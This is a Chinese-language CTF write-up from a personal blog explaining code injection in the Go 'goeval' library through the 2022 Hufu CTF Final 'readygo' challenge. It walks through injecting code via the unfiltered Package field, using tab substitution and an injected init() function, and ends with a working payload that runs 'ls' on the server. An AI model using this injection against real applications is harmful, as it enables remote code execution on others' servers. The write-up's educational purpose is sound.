goeval代码注入导致远程代码执行(2022虎符Final)

Author: 颖奇L’Amore

Blog: www.gem-love.com

前言

题目来自于2022虎符CTF Final的readygo,给了源码

package main

import (
eval "github.com/PaulXu-cn/goeval"
"github.com/gin-gonic/gin"
"regexp"
)

func main() {
r := gin.Default()
r.LoadHTMLFiles("html/index.html", "html/result.html")
r.GET("/", func(c *gin.Context) {
c.Header("server", "Gin")
c.HTML(200, "index.html", "")
})
r.POST("/parse", func(c *gin.Context) {
expression := c.DefaultPostForm("expression", "666")
Package := c.DefaultPostForm("Package", "fmt")
match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
if match {
c.String(200, "Hacker????")
return
} else {
if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
c.HTML(200, "result.html", gin.H{"result": string(res)})
} else {
c.HTML(200, "result.html", err.Error())
}
}
})
r.Run()
}

分析

题目分析

gin框架,漏洞主要在这里

expression := c.DefaultPostForm("expression", "666") // expression不能是字母
Package := c.DefaultPostForm("Package", "fmt")
eval.Eval("", "fmt.Print("+expression+")", Package);

使用的eval是来自github.com/PaulXu-cn/goeval的第三方模块

分析一下goeval的源码,可见是代码的拼接 生成文件 然后运行

package goeval

import (
"fmt"
"go/format"
"math/rand"
"os"
"os/exec"
"strings"
"time"
)

const (
letterBytes = "abcdefghijklmnopqrstuvwxyz"
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
)

var (
dirSeparator = "/"
tempDir = os.TempDir()
src = rand.NewSource(time.Now().UnixNano())
)

// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
b := make([]byte, n)
// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main

%s

%s

func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
return res, err
}

这里我们的package是没有被过滤的,但是goeval会用空格作为分割,然后来做模块的导入

if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])

所以基本可以肯定是通过Package进行代码注入

代码注入

这里我们可以注入Package一个")构造了import的闭合,但是其后还有一个") 就像这样:

expression := "123"
Package := "fmt\"\n)"

res, _ := eval.Eval("", "fmt.Print("+expression+")", Package)
fmt.Println(string(res))

得到

package main

import (
"fmt"
)"
)



func main() {
fmt.Print(123)
}

于是我们可以在后面再注入进去一个var 这里还需要用\t来替换空格,因为空格是会被当做多个依赖包进行拆分的

expression := "123"
Package := "fmt\"\n)\nvar\t(\na=\"1"

res, _ := eval.Eval("", "fmt.Print("+expression+")", Package)
fmt.Println(string(res))

得到如下代码 可以运行成功:


import (
"fmt"
)
var (
a="1"
)



func main() {
fmt.Print(123)
}

执行函数

尽管可以注入进去代码,但是执行依然是执行main函数,而main函数我们无法修改,导致没法执行其他的代码。

但是在go语言中有一个特殊的init()函数,他在main()之前自动执行,所以我们可以注入进去一个init()

expression := "123"
Package := "fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1"

res, _ := eval.Eval("", "fmt.Print("+expression+")", Package)
fmt.Println(string(res))

得到

package main

import (
"fmt"
)
func init(){
fmt.Print("我是init")
}
var (
a="1"
)



func main() {
fmt.Print(123)
}

运行成功:

220249_mSLb4j

执行系统命令

下一步就是执行系统命令了,可以这样执行:

package main

import (
"fmt"
"os/exec"
)

func main() {
cmd := exec.Command("ls")
out, _ := cmd.CombinedOutput()
fmt.Println(string(out))
}

于是构造这样的Payload:

expression := "123"
Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"

res, _ := eval.Eval("", "fmt.Print("+expression+")", Package)
fmt.Println(string(res))

生成的代码是

package main

import (
"os/exec"
"fmt"
)

func init(){
cmd:=exec.Command("ls")
out,_:=cmd.CombinedOutput()
fmt.Println(string(out))
}


var(a="1"
)



func main() {
fmt.Print(123)
}

ls命令运行成功

220531_8qLp7f

Author: Y1ng
Link: https://www.gem-love.com/2022/07/25/goeval代码注入导致远程代码执行/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!